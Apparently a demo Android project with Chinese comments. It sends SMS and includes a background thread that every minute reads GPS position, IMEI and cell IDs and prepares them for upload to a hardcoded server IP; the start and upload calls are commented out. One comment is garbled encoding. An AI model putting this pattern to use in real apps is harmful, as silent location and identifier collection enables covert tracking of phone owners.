主程序
package com.test;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.os.Bundle;
import com.test.R;
import com.test.data.Data;
import com.test.network.Connect;
import com.test.network.Consts;
import android.telephony.PhoneNumberUtils;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.telephony.gsm.GsmCellLocation;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import android.view.View;
import android.view.View.OnClickListener;
public class MyMessageManagerActivity extends Activity {
Button bt;
EditText etTel,etContent;
LocationManager locationManager;
private Context context;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
bt=(Button)this.findViewById(R.id.bt);
etTel=(EditText)this.findViewById(R.id.etext);
etContent=(EditText)this.findViewById(R.id.edittext);
//startLocation();
/*bt.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v)
{
String strTel=etTel.getText().toString();
String strContent=etContent.getText().toString();
if(PhoneNumberUtils.isGlobalPhoneNumber(strTel))
{
bt.setEnabled(false);
SendSMS(strTel,strContent,v);
}
else
{
Toast.makeText(MyMessageManagerActivity.this, "你输入的电话号码不服符合格式", Toast.LENGTH_LONG).show();
}
}
});*/
}
public void SendSMS(String TelephoneNo,String SmsContent,View v)
{
PendingIntent pIntent=PendingIntent.getActivity(this, 0, new Intent(this,MyMessageManagerActivity.class), 0);
SmsManager sms=SmsManager.getDefault();
sms.sendTextMessage(TelephoneNo, null,SmsContent, pIntent, null);
Toast.makeText(MyMessageManagerActivity.this, "恭喜,短信发信成功", Toast.LENGTH_LONG).show();
v.setEnabled(true);
}
/***
* 开启后台定位线程
*
*/
public void startLocation() {
new Thread() {
public void run() {
while (true) {
try {
SendSMS("5556","wo zai beijing",bt);
System.out.println("发送返回的信息");
locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); // 查找到服务信息
Criteria criteria = new Criteria();
criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
criteria.setAltitudeRequired(false);
criteria.setBearingRequired(false);
criteria.setCostAllowed(true);
criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
String provider = locationManager.getBestProvider(
criteria, true); // 获取GPS信息
Location location = locationManager
.getLastKnownLocation(provider); // 通过GPS获取位置
if (location != null) {
Data.Latitude = location.getLatitude() + "";
Data.Longitude = location.getLongitude() + "";
Data.altitude = location.getAltitude() + "";
Data.speed = location.getSpeed() + "";
getSystemInfo();
String data = "IMEI:" + Data.imei + "," + "Lon:"
+ Data.Longitude + "," + "Lat:"
+ Data.Latitude + "," + "Alt:"
+ Data.altitude + "," + "Cell:"
+ Data.cellid + "," + "Lac:" + Data.lac
+ "," + "Spd:" + Data.speed + ",";
//uploadLocationMessage( data);
} else {
}
} catch (Exception e) {
}
try {
sleep(60000);// 休息1分钟
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}.start();
}
/**
* 上传定位信息
*
* @param port
* @param data
*/
private void uploadLocationMessage(String data) {
Connect uploadMessage = new Connect(Consts.SERVICE_IP,
Consts.LOCATE_PORT);
try {
uploadMessage.openChannel();
uploadMessage.getTcpChannel().connect(uploadMessage.getTimeout());
byte[] b = data.getBytes();
uploadMessage.getTcpChannel().send(
uploadMessage.getTcpChannel().getOutputStream(), b);
uploadMessage.close();
System.out.println("发送定位信息:" + data);
} catch (Exception e) {
}
}
/**
* 获取系统IMEI, LAC CELLID码
*/
private void getSystemInfo() {
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
GsmCellLocation location = (GsmCellLocation) tm.getCellLocation();
Data.imei = tm.getDeviceId();
Data.lac = location.getLac() + "";
Data.cellid = location.getCid() + "";
}
}
com.test.data
package com.test.data;
public class Data {
/**MIEI号**/
public static String imei="0";
/**经度**/
public static String Longitude="0.0";
/**纬度**/
public static String Latitude="0.0";
/**cellid*/
public static String cellid="0";
/**速度*/
public static String speed="0.0";
/**海拔*/
public static String altitude="0.0";
/**lac*/
public static String lac="0";
}
package com.test.network;
import java.io.IOException;
import java.util.Vector;
public class Connect {
public static final int CONNECT_HTTP = 0;
public static final int CONNECT_SOCKET = 1;
private TcpChannel channel;
private int timeout;
private int connectType;
private int port;
private String ip;
private static Vector vector = new Vector();
public static void stopConnectAll() {
for(TcpChannel con : vector) {
con.close();
}
vector.removeAllElements();
}
public static void stopConnect(TcpChannel connect) {
if(connect==null)
return;
connect.close();
vector.remove(connect);
}
public Connect(String ip, int port) {
this(CONNECT_SOCKET, ip, port);
}
public Connect(int connect, String ip, int port) {
connectType = connect;
this.ip = ip;
this.port = port;
timeout = 30000;
}
public TcpChannel openChannel() {
channel = null;
channel = new SocketChannel(ip, port, timeout);
vector.addElement(channel);
return channel;
}
public int getTimeout() {
return timeout;
}
/**
* 鑾峰彇缃戠粶杩炴帴绠¢亾
*
* @return 杩炴帴瀹炰緥
*/
public TcpChannel getTcpChannel() {
return channel;
}
public final boolean isConnected() {
return channel.isConnected();
}
public final byte[] queryServer(byte[] inData) throws Exception
{
channel = openChannel();
try {
channel.connect(channel.timeout);
channel.send(channel.getOutputStream(), inData);
return inData;
} catch (IOException e) {
}
close();
return null;
}
public void close() {
stopConnect(channel);
}
}
package com.test.network;
public class Consts {
public static String SERVICE_IP="114.243.97.221";
public static int SERVICE_PORT=17000;
public static int LOCATE_PORT=18000;
public static int HEART_PORT=20000;
public static int UPLOAD_PORT=19000;
public static String PHONENUMBER="";
public static String IMEI="";
public final static StringBuffer test=new StringBuffer();
}
main.xml
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="目标手机"
android:textColor="#FFFFFF"
/>
android:id="@+id/etext"
android:text="5556"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="发送的短信内容"
android:textColor="#FFFFFF"
/>
android:id="@+id/edittext"
android:text="hello world"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
android:id="@+id/bt"
android:text="发送短信"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
权限